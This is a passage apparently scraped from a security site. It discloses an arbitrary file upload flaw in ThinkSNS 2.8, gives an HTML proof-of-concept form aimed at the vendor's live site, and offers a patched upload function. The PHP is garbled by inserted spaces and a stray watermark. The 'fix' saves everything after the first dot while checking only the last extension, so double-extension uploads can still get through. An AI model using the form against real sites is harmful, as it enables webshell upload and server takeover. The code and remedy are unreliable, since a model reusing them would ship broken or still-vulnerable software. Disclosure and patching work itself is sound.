ThinkSNS 2.8 Arbitrary File Upload Vulnerability and repair

Weibo only verifies images uploaded at the front end, and does not perform security filtering on the server side. \ Api \ StatusesApi. class. php function uploadpic () {if ($ _ FILES ['pic ']) {// execute the upload operation $ savePath = $ this-> _ getSaveTempPath (); $ filename = md5 (time (). 'teste '). '. '. substr ($ _ FILES ['pic '] ['name'], strpos ($ _ FILES ['pic'] ['name'], '. ') + 1); if (@ copy ($ _ FILES ['pic'] ['tmp _ name'], $ savePath. '/'. $ filename) | @ move_uploaded_file ($ _ FILES ['pic '] ['tmp _ name'], $ savePath. '/'. $ filename) {$ result ['boolen'] = 1; $ result ['t Ype_data '] = 'temp /'. $ filename; $ result ['picurl'] = SITE_PATH. '/uploads/temp /'. $ filename;} else {$ result ['boolen'] = 0; $ result ['message'] = 'upload failed ';}} else {$ result ['boolen'] = 0; $ result ['message'] = 'upload failed';} return $ result;} unloadpic () you can build a form without verifying the file type. Select any file and submit it to/index. php? App = w3g & mod = Index & act = doPost on the newly submitted Weibo page, you can find the uploaded file address (remove the prefix small _ and middle)

After logging on to thinksns official Weibo, build the following form: <form action = "http://t.thinksns.com/index.php? App = w3g & mod = Index & act = doPost "method =" post "enctype =" multipart/form-data "/> <textarea name =" content "> test </textarea> file: <input id = "file" type = "file" name = "pic"/> <input type = "submit" value = "Post"/> </form> remove the thumbnail from www.2cto.com (small _)Solution:

\ Api \ StatusesApi. class. php function uploadpic () {/*** 20121018 @ yelo * adds upload type verification */$ pathinfo = pathinfo ($ _ FILES ['pic '] ['name']); $ ext = $ pathinfo ['extension']; $ allowExts = array ('jpg ', 'png', 'gif', 'jpeg '); $ uploadCondition = $ _ FILES ['pic '] & in_array (strtolower ($ ext), $ allowExts, true); if ($ uploadCondition) {// perform the upload operation $ savePath = $ this-> _ getSaveTempPath (); $ filename = md5 (time (). 'teste '). '. '. substr ($ _ FILES ['pic '] ['name'], strpos ($ _ FILES ['pic'] ['name'], '. ') + 1); if (@ copy ($ _ FILES ['pic'] ['tmp _ name'], $ savePath. '/'. $ filename) | @ move_uploaded_file ($ _ FILES ['pic '] ['tmp _ name'], $ savePath. '/'. $ filename) {$ result ['boolen'] = 1; $ result ['Type _ data'] = 'temp /'. $ filename; $ result ['picurl'] = SITE_PATH. '/uploads/temp /'. $ filename;} else {$ result ['boolen'] = 0; $ result ['message'] = 'upload failed ';}} else {$ result ['boolen'] = 0; $ result ['message'] = 'upload failed';} return $ result ;}